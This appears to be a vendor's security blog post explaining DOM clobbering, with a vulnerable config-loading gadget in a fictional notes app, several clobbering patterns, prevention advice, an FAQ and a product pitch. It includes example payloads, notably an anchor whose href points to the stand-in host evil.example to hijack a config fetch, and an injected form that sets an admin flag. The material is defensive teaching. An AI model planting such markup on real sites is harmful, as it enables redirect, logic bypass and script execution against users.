DOM clobbering is a way to change what a page’s JavaScript does without injecting a single line of script. The attacker only needs to plant plain HTML: an anchor here, a form there, each carrying an id or name attribute. Browsers turn named elements into properties on window and document, so that injected markup can overwrite the very variables the application reads to make decisions. No <script> tag, no event handler, no inline JavaScript. That is why sanitizers and a strict Content Security Policy, both of which spend most of their effort asking “is there script here?”, often wave it straight through.
The browser rule that DOM clobbering weaponises
Start with a browser behavior almost nobody thinks about. When an element has a name or id attribute, the browser exposes it as a named property. An element with id="config" becomes reachable as window.config and document.config. Named form controls become properties of their form. Two elements that share a name collapse into a collection you can index. This is old behavior, kept for backward compatibility with pages written before getElementById existed, and it is still there in every current browser.
Now put that next to a common assumption in application code: that a global the app never set is undefined, or that a variable holds the value the app itself assigned. Both assumptions break the moment an attacker can add an element with the right id. The markup is inert. It runs nothing. It just sits in the DOM and answers to a name the code was counting on owning.
A sanitizer that only strips scripts is checking the wrong thing. DOM clobbering carries no script. It hands the browser plain markup and lets the browser’s own naming rule do the damage.
A generic app to make it concrete
Picture a typical SaaS app called Acme Notes. Users can write notes and profile bios, and the app allows a small set of formatting HTML in those fields: bold, italics, links, images. The team wrote a sanitizer that removes <script>, drops on* event handler attributes, and blocks javascript: URLs. They also set a Content Security Policy that forbids inline script. By the usual checklist, stored cross site scripting is handled. What the checklist missed is that <a>, <img>, and <form> with an id or name are still allowed through, because none of them is a script.
Clobbering a global the app trusts
Here is the vulnerable gadget. Acme Notes loads an optional analytics config from a URL, and the code was written so that a global can override the default:
// app.js, runs on every page
var endpoint = window.APP_CONFIG_URL || "/config/default.json";
fetch(endpoint)
.then(function (r) { return r.json(); })
.then(applyConfig);
The author assumed window.APP_CONFIG_URL is either set by a trusted build step or absent. It was never meant to be attacker controlled. But the profile bio renders user HTML into the same document, so the attacker stores this:
<a id="APP_CONFIG_URL" href="//evil.example/x.json"></a>
Now window.APP_CONFIG_URL resolves to that anchor element. When the code reads it in a string context, the browser coerces the anchor to its URL, so endpoint becomes //evil.example/x.json. The app fetches config from a domain the attacker owns and hands the response to applyConfig. Depending on what applyConfig trusts, that is an open redirect, a logic bypass, or a path to script execution if the config controls a template or a redirect target. The sanitizer saw an ordinary link. The Content Security Policy saw no inline script. Nothing was violated, and the app’s own logic did the rest.
Chaining elements and clobbering a lookup
The technique goes further than a single global. A few patterns show up often:
- Collections from a shared name. Two elements with the same
namebecome an indexable collection, so an attacker can shape a value that reads asobj[0],obj[1], and so on. That lets them clobber code expecting an array like structure, not just a single node. - Form scoped properties. Inside a
<form>, named inputs become properties of the form. Injecting<form id="settings"><input name="admin" value="1"></form>makessettings.adminresolve to that input, so code readingsettings.adminsees an attacker chosen value. - Beating getElementById. Some code trusts
document.getElementById("x")to return a known, safe element. An injected element withid="x"that appears earlier in the document can be the one returned, so a later read of that element’ssrc,href, or text comes from the attacker.
The building blocks are boring on purpose: id and name attributes on <a>, <form>, <img>, <iframe>, and <object>. None of them is a script. All of them can rename a slice of the global namespace out from under the code.
Why DOM clobbering slips past sanitizers and CSP
Most defenses against injected markup are built around one question: does this contain executable script? A sanitizer strips tags and attributes that run code. A Content Security Policy that blocks inline JavaScript and untrusted sources stops a <script> from executing. Both are worth having. Neither addresses a value that is expressed entirely through the presence and naming of ordinary elements. This is the same shape of problem as DOM based XSS, where the bug lives in what client side JavaScript does with data rather than in the server’s HTML, and it rhymes with prototype pollution, where an attacker sets a property the code later reads as if it owned it. In every case the code trusts a value it did not fully control.
How to prevent DOM clobbering
The fixes are specific, and they stack. None of them is about looking harder for script.
- Do not read globals or DOM by bare name for security decisions. A reference like
window.APP_CONFIG_URLor a lookup byidcan be an element instead of the value you expect. Do not branch on it as if it were trusted. - Check types explicitly. Before using a global, confirm it is what you think.
typeof APP_CONFIG_URL === "string"rejects a clobbering anchor, because the anchor is an object, not a string. UseObject.getOwnPropertyDescriptororhasOwnPropertyon a known object rather than trusting an ambient name. - Hold trusted values in a frozen config object. Define config on an object you control and call
Object.freezeon it, then readconfig.endpointfrom that object. An injected element cannot become a property of a frozen object your code owns, and you never rely on an undefined global being undefined. - Avoid
document.writeand named lookups for values you trust. PreferquerySelectorwith a scoped, specific selector over reading a bare global that a named element can occupy. - Sanitize
idandname, not just script. Use a well maintained sanitizer configured with an allow list that also strips or namespacesidandnameon user content, so injected markup cannot claim a name the app reads. Allow only the attributes formatting actually needs.
DOM clobbering is a clean example of a bug that lives in an assumption, not in a payload. The code assumed a name belonged to it, and the browser quietly let a stranger answer to that name. Finding this kind of flaw means testing what a page trusts, not scanning for a known bad string, which is the work an autonomous security researcher that tests an app’s assumptions is built for. You can read more about how we think about that on our about page.
Frequently asked questions
What is DOM clobbering?
It is a technique that changes what a page’s JavaScript does using plain HTML only, with no script. Injected elements with id or name attributes become properties on window or document and overwrite the globals the application reads.
Why does it get past sanitizers and CSP?
Those defenses mostly ask whether content contains executable script. DOM clobbering carries none. It uses ordinary elements like an anchor or a form, so a filter focused on scripts waves it straight through.
What can an attacker achieve?
By clobbering a global or a getElementById result the code trusts, an attacker can force an open redirect, bypass a logic check, or reach script execution if the clobbered value feeds a template or a redirect target.
How do you prevent DOM clobbering?
Do not read globals or the DOM by bare name for security decisions, check types explicitly before use, hold trusted values in a frozen object your code owns, and configure the sanitizer to strip or namespace id and name on user content.
Put an autonomous researcher on your own systems
UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.
